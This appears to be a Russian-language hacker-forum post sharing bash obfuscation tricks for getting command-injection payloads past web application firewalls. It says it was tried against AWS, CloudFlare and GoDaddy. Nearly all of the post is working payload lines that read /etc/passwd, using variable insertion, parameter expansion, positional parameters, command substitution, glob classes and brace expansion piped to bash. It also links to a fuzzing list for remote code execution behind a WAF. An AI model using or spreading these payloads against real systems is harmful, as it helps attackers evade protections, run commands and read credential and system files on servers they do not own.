Вобщем несколько маленьких моментов, о которых не видел чтобы писали. Сразу скажу что особо не тестил,
повтыкал рандомно в AWS, WTF-WAF, GoDaddy, CloudFlare - где-то ругался, где-то нет. Так что просто к размышлению.
Сразу прикреплю несколько линков по теме, они встречались уже на форуме, но к теме относятся поэтому повторюсь.
https://medium.com/secjuice/web-appl...2-125995f3e7b0
https://medium.com/secjuice/waf-evas...s-718026d693d8
https://www.secjuice.com/web-applica...l-waf-evasion/
https://chybeta.gitbooks.io/waf-bypa...o-fang-fa.html
Момент первый
Знаем
Код:
cat$u /etc$u/passwd$u
Дополнение
Можем юзать переменную хоть в середине слова, если за ней идет спецсимвол или пробел.
Код:
ca$u\t /et$u''c/pass$u""wd
ca${u}t /et${u}c/pass${u}wd
Момент второй
Прям в доках написано.
Получаем такие чудеса.
Код:
${asd-c}at ${asd-/e}tc/passwd
${asd-u}n${asd-a}m${asd-e}
${asd-u}n${asd-a}m${asd-e} ${asd--a}
Момент третий
Позиционные параметры.
Встречал такие штуки, но для чего они там так и не понял.
Код:
cat${IFS}${9}/etc/passwd
Можно смело лепить так, тут спецсимволы не нужны как в первом случае.
Код:
c$2a$2t /e$2t$3c$2/p$2as$7swd
c$*a$2t /e$*t$*c$*/p$*as$*swd
c$@a$@t /e$@t$@c$@/p$@as$@swd
c$!a$!t /e$!t$!c$!/p$!as$!swd
Момент четвертый
Подстановка команд
`` и $() нам в помощь.
Код:
ca`sss`t /et`asdsd`c/pass`assa`wd
ca$(sss)t /et$(asdsd)c/pass$(assa)wd
Момент пятый
Ничего особенного.
Код:
cat /e[tdf]c/pa[s]s[w][dertyujhffd]
/b[ai][adn]/c[ia][rt] /e[tdf]c/pa[s]s[w][dertyujhffd]
В баш есть такое
Код:
echo a{aa,bb}
aaa abb
Но...
Код:
c{at,ss}
cat: css: Нет такого файла или каталога
Возвращает нам наш любимый passwd.
Проблема: Ъ шеллу абсолютно все равно что я там собираюсь подставлять и байпасить, в sh как есть не выполнить.
Есть такой вариант
Код:
echo {cat,/etc/passwd}|bash
Может у кого есть варианты на этот счет поинтереснее?
Тут прикрепил свою базу для фазинга по RCE за WAF.
/threads/467599/#post-4346489